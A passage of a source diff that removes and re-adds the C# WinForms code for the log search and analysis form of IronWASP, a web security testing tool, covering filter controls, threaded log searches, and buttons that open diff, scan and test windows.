0; - } - - private void MatchRequestMethodsPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchRequestMethodsPlusRB.Checked) - { - MatchRequestMethodsCB.Text = "Only these Request Methods:"; - } - } - - private void MatchRequestMethodsMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchRequestMethodsMinusRB.Checked) - { - MatchRequestMethodsCB.Text = "Except these Request Methods:"; - } - } - - private void MatchResponseCodesPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchResponseCodesPlusRB.Checked) - { - MatchResponseCodesCB.Text = "Only these Response Codes:"; - } - } - - private void MatchResponseCodesMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchResponseCodesMinusRB.Checked) - { - MatchResponseCodesCB.Text = "Except these Response Codes:"; - } - } - - private void MatchHostNamesPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchHostNamesPlusRB.Checked) - { - MatchHostNamesCB.Text = "Only these Hostnames:"; - } - } - - private void MatchHostNamesMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchHostNamesMinusRB.Checked) - { - MatchHostNamesCB.Text = "Except these Hostnames:"; - } - } - - private void MatchFileExtensionsPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchFileExtensionsPlusRB.Checked) - { - MatchFileExtensionsCB.Text = "Only these Request File Extensions:"; - } - } - - private void MatchFileExtensionsMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (MatchFileExtensionsMinusRB.Checked) - { - MatchFileExtensionsCB.Text = "Except these Request File Extensions:"; - } - } - - private void LogIdsRangeAnyRB_CheckedChanged(object sender, EventArgs e) - { - LogIdsRangeAboveCB.Enabled = false; - LogIdsRangeAboveTB.Enabled = false; - - LogIdsRangeBelowCB.Enabled = false; - LogIdsRangeBelowTB.Enabled = false; - } - - private void LogIdsRangeCustomRB_CheckedChanged(object sender, EventArgs e) - { - LogIdsRangeAboveCB.Enabled = true; - if (SelectLogSourceCombo.SelectedIndex == 3)//LogSource-Scan - LogIdsRangeAboveTB.Enabled = true; - else - LogIdsRangeAboveTB.Enabled = LogIdsRangeAboveCB.Checked; - - LogIdsRangeBelowCB.Enabled = true; - LogIdsRangeBelowTB.Enabled = LogIdsRangeBelowCB.Checked; - } - - private void SearchTypeChainedRB_CheckedChanged(object sender, EventArgs e) - { - if (SearchTypeChainedRB.Checked) - { - LogSourceAndIdsPanel.Visible = false; - } - } - - private void SearchTypeNewRB_CheckedChanged(object sender, EventArgs e) - { - if (SearchTypeNewRB.Checked) - { - LogSourceAndIdsPanel.Visible = true; - } - } - - private void LogIdsRangeAboveCB_CheckedChanged(object sender, EventArgs e) - { - LogIdsRangeAboveTB.Enabled = LogIdsRangeAboveCB.Checked; - } - - private void LogIdsRangeBelowCB_CheckedChanged(object sender, EventArgs e) - { - LogIdsRangeBelowTB.Enabled = LogIdsRangeBelowCB.Checked; - } - - private void SelectLogSourceCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void MatchRequestUrlTypeCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void MatchKeywordInAllSectionsCB_Click(object sender, EventArgs e) - { - MatchKeywordInRequestHeadersSectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; - MatchKeywordInRequestBodySectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; - MatchKeywordInResponseHeadersSectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; - MatchKeywordInResponseBodySectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; - } - - private void MatchKeywordInRequestHeadersSectionCB_Click(object sender, EventArgs e) - { - if (!MatchKeywordInRequestHeadersSectionCB.Checked) - MatchKeywordInAllSectionsCB.Checked = false; - } - - private void MatchKeywordInRequestBodySectionCB_Click(object sender, EventArgs e) - { - if (!MatchKeywordInRequestBodySectionCB.Checked) - MatchKeywordInAllSectionsCB.Checked = false; - } - - private void MatchKeywordInResponseHeadersSectionCB_Click(object sender, EventArgs e) - { - if (!MatchKeywordInResponseHeadersSectionCB.Checked) - MatchKeywordInAllSectionsCB.Checked = false; - } - - private void MatchKeywordInResponseBodySectionCB_Click(object sender, EventArgs e) - { - if (!MatchKeywordInResponseBodySectionCB.Checked) - MatchKeywordInAllSectionsCB.Checked = false; - } - - private void LogGrid_RowsRemoved(object sender, DataGridViewRowsRemovedEventArgs e) - { - if (LogGrid.Rows.Count == 0) - { - SelectedRowsCount = 0; - DoDiffBtn.Enabled = false; - StartScanBtn.Enabled = false; - StartTestBtn.Enabled = false; - RunModulesBtn.Enabled = false; - } - } - - private void LogAnalyzer_FormClosing(object sender, FormClosingEventArgs e) - { - StopSearch(); - } - - private void DoDiffBtn_Click(object sender, EventArgs e) - { - if (SelectedRowsCount == 2) - { - int ALogId = -1; - int BLogId = -1; - foreach (DataGridViewRow Row in LogGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (ALogId == -1) - { - ALogId = (int)Row.Cells[1].Value; - } - else if (BLogId == -1) - { - BLogId = (int)Row.Cells[1].Value; - break; - } - } - } - SessionsDiffer Sdiff = new SessionsDiffer(); - Sdiff.SetSessions(this.CurrentSearchSource, ALogId, BLogId); - Sdiff.Show(); - } - else - { - MessageBox.Show(string.Format("Diff can be done only when two sessions are selected. You have selected {0} sessions", SelectedRowsCount), "Selection Error"); - } - } - - private void StartScanBtn_Click(object sender, EventArgs e) - { - if (IsScanWindowOpen()) - { - SSW.Activate(); - } - else - { - - List IDs = new List(); - foreach (DataGridViewRow Row in LogGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - IDs.Add((int)Row.Cells[1].Value); - } - SSW = new ScanSelectedWizard(); - SSW.SetSourceAndLogs(this.CurrentSearchSource, IDs); - SSW.Show(); - } - } - - bool IsScanWindowOpen() - { - if (SSW == null) - { - return false; - } - else if (SSW.IsDisposed) - { - return false; - } - else - { - return true; - } - } - - private void MatchKeywordCB_CheckedChanged(object sender, EventArgs e) - { - MatchKeywordInAllSectionsCB.Enabled = MatchKeywordCB.Checked; - MatchKeywordInRequestHeadersSectionCB.Enabled = MatchKeywordCB.Checked; - MatchKeywordInRequestBodySectionCB.Enabled = MatchKeywordCB.Checked; - MatchKeywordInResponseHeadersSectionCB.Enabled = MatchKeywordCB.Checked; - MatchKeywordInResponseBodySectionCB.Enabled = MatchKeywordCB.Checked; - MatchKeywordTB.Enabled = MatchKeywordCB.Checked; - } - - private void MatchRequestUrlCB_CheckedChanged(object sender, EventArgs e) - { - MatchRequestUrlTypeCombo.Enabled = MatchRequestUrlCB.Checked; - MatchRequestUrlKeywordTB.Enabled = MatchRequestUrlCB.Checked; - } - - private void MatchRequestMethodsCB_CheckedChanged(object sender, EventArgs e) - { - MatchRequestMethodsPlusRB.Enabled = MatchRequestMethodsCB.Checked; - MatchRequestMethodsMinusRB.Enabled = MatchRequestMethodsCB.Checked; - MatchRequestMethodsTB.Enabled = MatchRequestMethodsCB.Checked; - } - - private void MatchResponseCodesCB_CheckedChanged(object sender, EventArgs e) - { - MatchResponseCodesPlusRB.Enabled = MatchResponseCodesCB.Checked; - MatchResponseCodesMinusRB.Enabled = MatchResponseCodesCB.Checked; - MatchResponseCodesTB.Enabled = MatchResponseCodesCB.Checked; - } - - private void MatchHostNamesCB_CheckedChanged(object sender, EventArgs e) - { - MatchHostNamesPlusRB.Enabled = MatchHostNamesCB.Checked; - MatchHostNamesMinusRB.Enabled = MatchHostNamesCB.Checked; - MatchHostNamesTB.Enabled = MatchHostNamesCB.Checked; - } - - private void MatchFileExtensionsCB_CheckedChanged(object sender, EventArgs e) - { - MatchFileExtensionsPlusRB.Enabled = MatchFileExtensionsCB.Checked; - MatchFileExtensionsMinusRB.Enabled = MatchFileExtensionsCB.Checked; - MatchFileExtensionsTB.Enabled = MatchFileExtensionsCB.Checked; - } - - private void RunModulesBtn_Click(object sender, EventArgs e) - { - MessageBox.Show("Modules that support this feature are currently not available."); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class LogAnalyzerAndTester : Form + { + ScanSelectedWizard SSW; + + string CurrentSearchSource = ""; + List CurrentSearchResultsIds = new List(); + List LastSearchResultsIds = new List(); + + Thread LogSearchThread; + Thread LogLoadThread; + + int SelectedRowsCount = 0; + + public LogAnalyzerAndTester() + { + InitializeComponent(); + } + + delegate void ShowRows_d(List Rows); + void ShowRows(List Rows) + { + if (LogGrid.InvokeRequired) + { + ShowRows_d CALL_d = new ShowRows_d(ShowRows); + LogGrid.Invoke(CALL_d, new object[] { Rows }); + } + else + { + foreach (object[] Row in Rows) + { + LogGrid.Rows.Add(Row); + } + } + SearchResultsCountLbl.Text = string.Format("Search Results Count: {0}", LogGrid.Rows.Count); + } + + delegate void ShowSearchProgressBar_d(bool Show); + void ShowSearchProgressBar(bool Show) + { + if (LogGrid.InvokeRequired) + { + ShowSearchProgressBar_d CALL_d = new ShowSearchProgressBar_d(ShowSearchProgressBar); + LogGrid.Invoke(CALL_d, new object[] { Show }); + } + else + { + SearchProgressBar.Visible = Show; + } + } + + private void LogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (LogGrid.SelectedRows == null) return; + if (LogGrid.SelectedRows.Count == 0) return; + if (e.ColumnIndex == 0)// ClickActionSelectLogRB.Checked) + { + LogGrid.SelectedRows[0].Cells[0].Value = !((bool)LogGrid.SelectedRows[0].Cells[0].Value); + if ((bool)LogGrid.SelectedRows[0].Cells[0].Value) + { + SelectedRowsCount++; + } + else + { + SelectAllCB.Checked = false; + SelectedRowsCount--; + } + if (SelectedRowsCount > 0) + { + DoDiffBtn.Enabled = true; + StartScanBtn.Enabled = true; + StartTestBtn.Enabled = true; + RunModulesBtn.Enabled = true; + } + else + { + DoDiffBtn.Enabled = false; + StartScanBtn.Enabled = false; + StartTestBtn.Enabled = false; + RunModulesBtn.Enabled = false; + } + } + else + { + int LogId = (int)LogGrid.SelectedCells[1].Value; + ShowSelectedLog(this.CurrentSearchSource, LogId); + } + } + void ShowSelectedLog(string Source, int LogId) + { + LogDisplayTabs.Visible = false; + LoadLogProgressBar.Visible = true; + + RequestView.ClearRequest(); + ResponseView.ClearResponse(); + + if (LogLoadThread != null) + { + try + { + LogLoadThread.Abort(); + } + catch { } + } + object[] SelectedLogInfo = new object[] { Source, LogId }; + LogLoadThread = new Thread(ShowSelectedLog); + LogLoadThread.Start(SelectedLogInfo); + } + + void ShowSelectedLog(object SelectedLogInfoObject) + { + object[] SelectedLogInfo = (object[])SelectedLogInfoObject; + string Source = SelectedLogInfo[0].ToString(); + int LogId = (int)SelectedLogInfo[1]; + + try + { + Session Session = Session.FromLog(LogId, Source); + + if (Session.Request != null) + { + RequestView.SetRequest(Session.Request); + + if (Session.Response != null) ResponseView.SetResponse(Session.Response, Session.Request); + } + + } + catch (ThreadAbortException) { } + catch (Exception Exp) { IronException.Report("Error loading Selected Log info in Log Analyzer", Exp); } + finally + { + EndLogLoad(); + } + } + + delegate void EndLogLoad_d(); + void EndLogLoad() + { + if (LogGrid.InvokeRequired) + { + EndLogLoad_d CALL_d = new EndLogLoad_d(EndLogLoad); + LogGrid.Invoke(CALL_d, new object[] { }); + } + else + { + LoadLogProgressBar.Visible = false; + LogDisplayTabs.Visible = true; + } + } + + private void SelectAllCB_Click(object sender, EventArgs e) + { + bool Checked = SelectAllCB.Checked; + foreach (DataGridViewRow Row in LogGrid.Rows) + { + Row.Cells[0].Value = Checked; + } + if (Checked) + SelectedRowsCount = LogGrid.Rows.Count; + else + SelectedRowsCount = 0; + if (SelectedRowsCount > 0) + { + DoDiffBtn.Enabled = true; + StartScanBtn.Enabled = true; + StartTestBtn.Enabled = true; + RunModulesBtn.Enabled = true; + } + else + { + DoDiffBtn.Enabled = false; + StartScanBtn.Enabled = false; + StartTestBtn.Enabled = false; + RunModulesBtn.Enabled = false; + } + } + + private void StartTestBtn_Click(object sender, EventArgs e) + { + List IDs = new List(); + foreach(DataGridViewRow Row in LogGrid.Rows) + { + if((bool)Row.Cells[0].Value) + IDs.Add((int)Row.Cells[1].Value); + } + LogsTester Tester = new LogsTester(); + Tester.SetSourceAndLogs(this.CurrentSearchSource, IDs); + Tester.Show(); + } + + private void SearchBtn_Click(object sender, EventArgs e) + { + if (SearchBtn.Text.Equals("Search with this Filter")) + { + LogSearchQuery Query = GetQueryFromInput(); + if (Query != null) + { + LastSearchResultsIds = new List(CurrentSearchResultsIds); + CurrentSearchResultsIds.Clear(); + LogGrid.Rows.Clear(); + BaseTabs.SelectTab("SearchResultsTab"); + if (LogSearchThread != null) + { + try { LogSearchThread.Abort(); } + catch { } + } + LogSearchThread = new Thread(DoSearch); + LogSearchThread.Start(Query); + SearchBtn.Text = "Stop Current Search"; + } + } + else + { + StopSearch(); + } + } + + void StopSearch() + { + try + { + LogSearchThread.Abort(); + } + catch { } + EndLogSearch(); + } + + delegate void EndLogSearch_d(); + void EndLogSearch() + { + if (LogGrid.InvokeRequired) + { + EndLogSearch_d CALL_d = new EndLogSearch_d(EndLogSearch); + LogGrid.Invoke(CALL_d, new object[] { }); + } + else + { + SearchProgressBar.Visible = false; + SearchBtn.Text = "Search with this Filter"; + } + } + + void DoSearch(object QueryObject) + { + LogSearchQuery Query = (LogSearchQuery)QueryObject; + List LogRows = new List(); + ShowSearchProgressBar(true); + try + { + if (Query.LogIds.Count > 0) + { + int CurrentStartIndex = 0; + while (CurrentStartIndex < Query.LogIds.Count) + { + LogRows = IronDB.SearchLogs(Query, Query.LogIds, CurrentStartIndex, 100); + ConvertAndShowRows(LogRows); + CurrentStartIndex = CurrentStartIndex + 100; + } + } + else if (Query.ScanLogId > 0) + { + LogRows = IronDB.SearchLogs(Query, Query.ScanLogId); + } + else if (Query.MinLogId > -1 | Query.MaxLogId > -1) + { + int CurrentStartIndex = Query.MinLogId -1; + while (CurrentStartIndex < Query.MaxLogId + 1) + { + if(CurrentStartIndex + 1000 > Query.MaxLogId) + LogRows = IronDB.SearchLogs(Query, CurrentStartIndex, Query.MaxLogId + 1); + else + LogRows = IronDB.SearchLogs(Query, CurrentStartIndex, CurrentStartIndex + 1000); + ConvertAndShowRows(LogRows); + CurrentStartIndex = CurrentStartIndex + 1000; + } + } + else + { + int CurrentStartIndex = 0; + while (CurrentStartIndex <= Config.GetLastLogId(Query.LogSource)) + { + LogRows = IronDB.SearchLogs(Query, CurrentStartIndex, CurrentStartIndex + 1000); + ConvertAndShowRows(LogRows); + CurrentStartIndex = CurrentStartIndex + 1000; + } + } + if (this.CurrentSearchResultsIds.Count == 0) + { + this.CurrentSearchResultsIds = new List(this.LastSearchResultsIds); + } + + } + catch(ThreadAbortException) { } + catch(Exception Exp) + { + IronException.Report("Error searching Logs", Exp); + ShowStep0Error("Error searching logs"); + } + finally + { + EndLogSearch(); + } + } + + void ConvertAndShowRows(List LogRows) + { + List LogRowsForGrid = new List(); + foreach (LogRow Row in LogRows) + { + CurrentSearchResultsIds.Add(Row.ID); + LogRowsForGrid.Add(Row.ToLogAnalyzerGridRowObjectArray()); + } + ShowRows(LogRowsForGrid); + } + + LogSearchQuery GetQueryFromInput() + { + ShowStep0Status(""); + LogSearchQuery Query = new LogSearchQuery(); + if (SearchTypeNewRB.Checked) + { + foreach (object Item in SelectLogSourceCombo.Items) + { + if (Item.ToString().Equals(SelectLogSourceCombo.Text)) + { + Query.LogSource = SelectLogSourceCombo.Text; + this.CurrentSearchSource = Query.LogSource; + break; + } + } + if (Query.LogSource.Length == 0) + { + ShowStep0Error("Invaid Log source selected"); + SelectLogSourceCombo.BackColor = Color.Red; + return null; + } + if (LogIdsRangeAnyRB.Checked) + { + Query.MinLogId = -1; + Query.MaxLogId = -1; + } + else + { + if (LogIdsRangeAboveCB.Visible) + { + if (LogIdsRangeAboveCB.Checked) + { + try + { + Query.MinLogId = Int32.Parse(LogIdsRangeAboveTB.Text.Trim()); + } + catch + { + ShowStep0Error("Log ID range lower limit is not a valid number"); + LogIdsRangeAboveTB.BackColor = Color.Red; + return null; + } + } + if (LogIdsRangeBelowCB.Checked) + { + try + { + Query.MaxLogId = Int32.Parse(LogIdsRangeBelowTB.Text.Trim()); + } + catch + { + ShowStep0Error("Log ID range upper limit is not a valid number"); + LogIdsRangeBelowTB.BackColor = Color.Red; + return null; + } + } + else if (LogIdsRangeAboveCB.Checked) + { + Query.MaxLogId = Config.GetLastLogId(Query.LogSource); + } + } + else + { + try + { + Query.ScanLogId = Int32.Parse(LogIdsRangeAboveTB.Text.Trim()); + } + catch + { + ShowStep0Error("Scan ID is not a valid number"); + LogIdsRangeAboveTB.BackColor = Color.Red; + return null; + } + } + + } + } + else + { + Query.LogSource = this.CurrentSearchSource; + Query.LogIds = new List(this.CurrentSearchResultsIds); + } + if (MatchKeywordCB.Checked) + { + if (MatchKeywordInRequestHeadersSectionCB.Checked || MatchKeywordInRequestBodySectionCB.Checked || MatchKeywordInResponseHeadersSectionCB.Checked || MatchKeywordInResponseBodySectionCB.Checked) + { + if (MatchKeywordTB.Text.Length > 0) + { + Query.Keyword = MatchKeywordTB.Text; + Query.SearchRequestHeaders = MatchKeywordInRequestHeadersSectionCB.Checked; + Query.SearchRequestBody = MatchKeywordInRequestBodySectionCB.Checked; + Query.SearchResponseHeaders = MatchKeywordInResponseHeadersSectionCB.Checked; + Query.SearchResponseBody = MatchKeywordInResponseBodySectionCB.Checked; + } + else + { + ShowStep0Error("Keyword search is enabled but the keyword is empty"); + MatchKeywordTB.BackColor = Color.Red; + return null; + } + } + else + { + ShowStep0Error("Keyword search is enabled but no sections are selected"); + return null; + } + } + if (MatchRequestUrlCB.Checked) + { + if (MatchRequestUrlTypeCombo.SelectedIndex > -1) + { + if (MatchRequestUrlKeywordTB.Text.Length > 0) + { + Query.UrlMatchMode = MatchRequestUrlTypeCombo.SelectedIndex; + Query.UrlMatchString = MatchRequestUrlKeywordTB.Text; + } + else + { + ShowStep0Error("Url match is enabled but the match keyword is empty"); + MatchRequestUrlKeywordTB.BackColor = Color.Red; + return null; + } + } + else + { + ShowStep0Error("Invalid Url match type is selected"); + MatchRequestUrlTypeCombo.BackColor = Color.Red; + return null; + } + } + if (MatchRequestMethodsCB.Checked) + { + string[] Methods = MatchRequestMethodsTB.Text.Split(new char[]{','}); + for (int i = 0; i < Methods.Length; i++) + { + Methods[i] = Methods[i].Trim(); + } + if (Methods.Length > 0) + { + if (MatchRequestMethodsPlusRB.Checked) + { + Query.MethodsToCheck = new List(Methods); + } + else + { + Query.MethodsToIgnore = new List(Methods); + } + } + else + { + ShowStep0Error("Request Methods match is selected but no methods specified Invalid Url match type is selected"); + MatchRequestMethodsTB.BackColor = Color.Red; + return null; + } + } + if (MatchResponseCodesCB.Checked) + { + string[] ResponseCodesStrings = MatchResponseCodesTB.Text.Split(new char[] { ',' }); + List ResponseCodes = new List(); + foreach (string CodeString in ResponseCodesStrings) + { + try + { + ResponseCodes.Add(Int32.Parse(CodeString)); + } + catch { } + } + if (ResponseCodes.Count > 0) + { + if (MatchResponseCodesPlusRB.Checked) + { + Query.CodesToCheck = new List(ResponseCodes); + } + else + { + Query.CodesToIgnore = new List(ResponseCodes); + } + } + else + { + ShowStep0Error("Response Codes match is selected but no methods specified Invalid Url match type is selected"); + MatchResponseCodesTB.BackColor = Color.Red; + return null; + } + } + if (MatchHostNamesCB.Checked) + { + string[] HostNames = MatchHostNamesTB.Text.Split(new char[] { ',' }); + for (int i = 0; i < HostNames.Length; i++) + { + HostNames[i] = HostNames[i].Trim(); + } + if (HostNames.Length > 0) + { + if (MatchHostNamesPlusRB.Checked) + { + Query.HostNamesToCheck = new List(HostNames); + } + else + { + Query.HostNamesToIgnore = new List(HostNames); + } + } + else + { + ShowStep0Error("Hostnames match is selected but no methods specified Invalid Url match type is selected"); + MatchHostNamesTB.BackColor = Color.Red; + return null; + } + } + if (MatchFileExtensionsCB.Checked) + { + string[] FileExtensions = MatchFileExtensionsTB.Text.Split(new char[] { ',' }); + for (int i = 0; i < FileExtensions.Length; i++) + { + FileExtensions[i] = FileExtensions[i].Trim(); + } + if (FileExtensions.Length > 0) + { + if (MatchFileExtensionsPlusRB.Checked) + { + Query.FileExtensionsToCheck = new List(FileExtensions); + } + else + { + Query.FileExtensionsToIgnore = new List(FileExtensions); + } + } + else + { + ShowStep0Error("Request File Extensions match is selected but no methods specified Invalid Url match type is selected"); + MatchFileExtensionsTB.BackColor = Color.Red; + return null; + } + } + if (Query.Keyword.Length > 0 || Query.UrlMatchString.Length > 0 + || Query.FileExtensionsToCheck.Count > 0 || Query.FileExtensionsToIgnore.Count > 0 + || Query.MethodsToCheck.Count > 0 || Query.MethodsToIgnore.Count > 0 + || Query.CodesToCheck.Count > 0 || Query.CodesToIgnore.Count > 0 + || Query.HostNamesToCheck.Count > 0 || Query.HostNamesToIgnore.Count > 0) + { + return Query; + } + else + { + ShowStep0Error("No options selected in the filter settings"); + return null; + } + } + + private void LogIdsRangeAboveTB_TextChanged(object sender, EventArgs e) + { + if (LogIdsRangeAboveTB.BackColor != Color.White) + LogIdsRangeAboveTB.BackColor = Color.White; + } + + private void LogIdsRangeBelowTB_TextChanged(object sender, EventArgs e) + { + if (LogIdsRangeBelowTB.BackColor != Color.White) + LogIdsRangeBelowTB.BackColor = Color.White; + } + + private void MatchKeywordTB_TextChanged(object sender, EventArgs e) + { + if (MatchKeywordTB.BackColor != Color.White) + MatchKeywordTB.BackColor = Color.White; + } + + private void MatchRequestUrlKeywordTB_TextChanged(object sender, EventArgs e) + { + if (MatchRequestUrlKeywordTB.BackColor != Color.White) + MatchRequestUrlKeywordTB.BackColor = Color.White; + } + + private void MatchRequestUrlTypeCombo_SelectedIndexChanged(object sender, EventArgs e) + { + if (MatchRequestUrlTypeCombo.BackColor != Color.White) + MatchRequestUrlTypeCombo.BackColor = Color.White; + } + + private void MatchRequestMethodsTB_TextChanged(object sender, EventArgs e) + { + if (MatchRequestMethodsTB.BackColor != Color.White) + MatchRequestMethodsTB.BackColor = Color.White; + } + + private void MatchResponseCodesTB_TextChanged(object sender, EventArgs e) + { + if (MatchResponseCodesTB.BackColor != Color.White) + MatchResponseCodesTB.BackColor = Color.White; + } + + private void MatchHostNamesTB_TextChanged(object sender, EventArgs e) + { + if (MatchHostNamesTB.BackColor != Color.White) + MatchHostNamesTB.BackColor = Color.White; + } + + private void MatchFileExtensionsTB_TextChanged(object sender, EventArgs e) + { + if (MatchFileExtensionsTB.BackColor != Color.White) + MatchFileExtensionsTB.BackColor = Color.White; + } + + private void SelectLogSourceCombo_SelectedIndexChanged(object sender, EventArgs e) + { + if (SelectLogSourceCombo.BackColor != Color.White) + SelectLogSourceCombo.BackColor = Color.White; + + if (SelectLogSourceCombo.SelectedIndex == 3) + { + LogIdsRangeCustomRB.Text = "Only for Scan ID -"; + LogIdsRangeAboveTB.Enabled = true; + LogIdsRangeAboveCB.Visible = false; + LogIdsRangeBelowCB.Visible = false; + LogIdsRangeBelowTB.Visible = false; + } + else + { + LogIdsRangeCustomRB.Text = "Only in range -"; + LogIdsRangeAboveTB.Enabled = LogIdsRangeAboveCB.Checked; + LogIdsRangeAboveCB.Visible = true; + LogIdsRangeBelowCB.Visible = true; + LogIdsRangeBelowTB.Visible = true; + } + } + + delegate void ShowStep0Status_d(string Text); + void ShowStep0Status(string Text) + { + if (LogGrid.InvokeRequired) + { + ShowStep0Status_d CALL_d = new ShowStep0Status_d(ShowStep0Status); + LogGrid.Invoke(CALL_d, new object[] { Text }); + } + else + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Black; + this.Step0StatusTB.Visible = true; + } + } + } + delegate void ShowStep0Error_d(string Text); + void ShowStep0Error(string Text) + { + if (LogGrid.InvokeRequired) + { + ShowStep0Error_d CALL_d = new ShowStep0Error_d(ShowStep0Error); + LogGrid.Invoke(CALL_d, new object[] { Text }); + } + else + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Red; + this.Step0StatusTB.Visible = true; + } + } + } + + private void LogAnalyzer_Load(object sender, EventArgs e) + { + SelectLogSourceCombo.Items.Add("Proxy"); + SelectLogSourceCombo.Items.Add("Test"); + SelectLogSourceCombo.Items.Add("Shell"); + SelectLogSourceCombo.Items.Add("Scan"); + SelectLogSourceCombo.Items.Add("Probe"); + SelectLogSourceCombo.Items.AddRange(Config.GetOtherSourceList().ToArray()); + SelectLogSourceCombo.SelectedIndex = 0; + + MatchRequestUrlTypeCombo.SelectedIndex = 0; + } + + private void MatchRequestMethodsPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchRequestMethodsPlusRB.Checked) + { + MatchRequestMethodsCB.Text = "Only these Request Methods:"; + } + } + + private void MatchRequestMethodsMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchRequestMethodsMinusRB.Checked) + { + MatchRequestMethodsCB.Text = "Except these Request Methods:"; + } + } + + private void MatchResponseCodesPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchResponseCodesPlusRB.Checked) + { + MatchResponseCodesCB.Text = "Only these Response Codes:"; + } + } + + private void MatchResponseCodesMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchResponseCodesMinusRB.Checked) + { + MatchResponseCodesCB.Text = "Except these Response Codes:"; + } + } + + private void MatchHostNamesPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchHostNamesPlusRB.Checked) + { + MatchHostNamesCB.Text = "Only these Hostnames:"; + } + } + + private void MatchHostNamesMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchHostNamesMinusRB.Checked) + { + MatchHostNamesCB.Text = "Except these Hostnames:"; + } + } + + private void MatchFileExtensionsPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchFileExtensionsPlusRB.Checked) + { + MatchFileExtensionsCB.Text = "Only these Request File Extensions:"; + } + } + + private void MatchFileExtensionsMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (MatchFileExtensionsMinusRB.Checked) + { + MatchFileExtensionsCB.Text = "Except these Request File Extensions:"; + } + } + + private void LogIdsRangeAnyRB_CheckedChanged(object sender, EventArgs e) + { + LogIdsRangeAboveCB.Enabled = false; + LogIdsRangeAboveTB.Enabled = false; + + LogIdsRangeBelowCB.Enabled = false; + LogIdsRangeBelowTB.Enabled = false; + } + + private void LogIdsRangeCustomRB_CheckedChanged(object sender, EventArgs e) + { + LogIdsRangeAboveCB.Enabled = true; + if (SelectLogSourceCombo.SelectedIndex == 3)//LogSource-Scan + LogIdsRangeAboveTB.Enabled = true; + else + LogIdsRangeAboveTB.Enabled = LogIdsRangeAboveCB.Checked; + + LogIdsRangeBelowCB.Enabled = true; + LogIdsRangeBelowTB.Enabled = LogIdsRangeBelowCB.Checked; + } + + private void SearchTypeChainedRB_CheckedChanged(object sender, EventArgs e) + { + if (SearchTypeChainedRB.Checked) + { + LogSourceAndIdsPanel.Visible = false; + } + } + + private void SearchTypeNewRB_CheckedChanged(object sender, EventArgs e) + { + if (SearchTypeNewRB.Checked) + { + LogSourceAndIdsPanel.Visible = true; + } + } + + private void LogIdsRangeAboveCB_CheckedChanged(object sender, EventArgs e) + { + LogIdsRangeAboveTB.Enabled = LogIdsRangeAboveCB.Checked; + } + + private void LogIdsRangeBelowCB_CheckedChanged(object sender, EventArgs e) + { + LogIdsRangeBelowTB.Enabled = LogIdsRangeBelowCB.Checked; + } + + private void SelectLogSourceCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void MatchRequestUrlTypeCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void MatchKeywordInAllSectionsCB_Click(object sender, EventArgs e) + { + MatchKeywordInRequestHeadersSectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; + MatchKeywordInRequestBodySectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; + MatchKeywordInResponseHeadersSectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; + MatchKeywordInResponseBodySectionCB.Checked = MatchKeywordInAllSectionsCB.Checked; + } + + private void MatchKeywordInRequestHeadersSectionCB_Click(object sender, EventArgs e) + { + if (!MatchKeywordInRequestHeadersSectionCB.Checked) + MatchKeywordInAllSectionsCB.Checked = false; + } + + private void MatchKeywordInRequestBodySectionCB_Click(object sender, EventArgs e) + { + if (!MatchKeywordInRequestBodySectionCB.Checked) + MatchKeywordInAllSectionsCB.Checked = false; + } + + private void MatchKeywordInResponseHeadersSectionCB_Click(object sender, EventArgs e) + { + if (!MatchKeywordInResponseHeadersSectionCB.Checked) + MatchKeywordInAllSectionsCB.Checked = false; + } + + private void MatchKeywordInResponseBodySectionCB_Click(object sender, EventArgs e) + { + if (!MatchKeywordInResponseBodySectionCB.Checked) + MatchKeywordInAllSectionsCB.Checked = false; + } + + private void LogGrid_RowsRemoved(object sender, 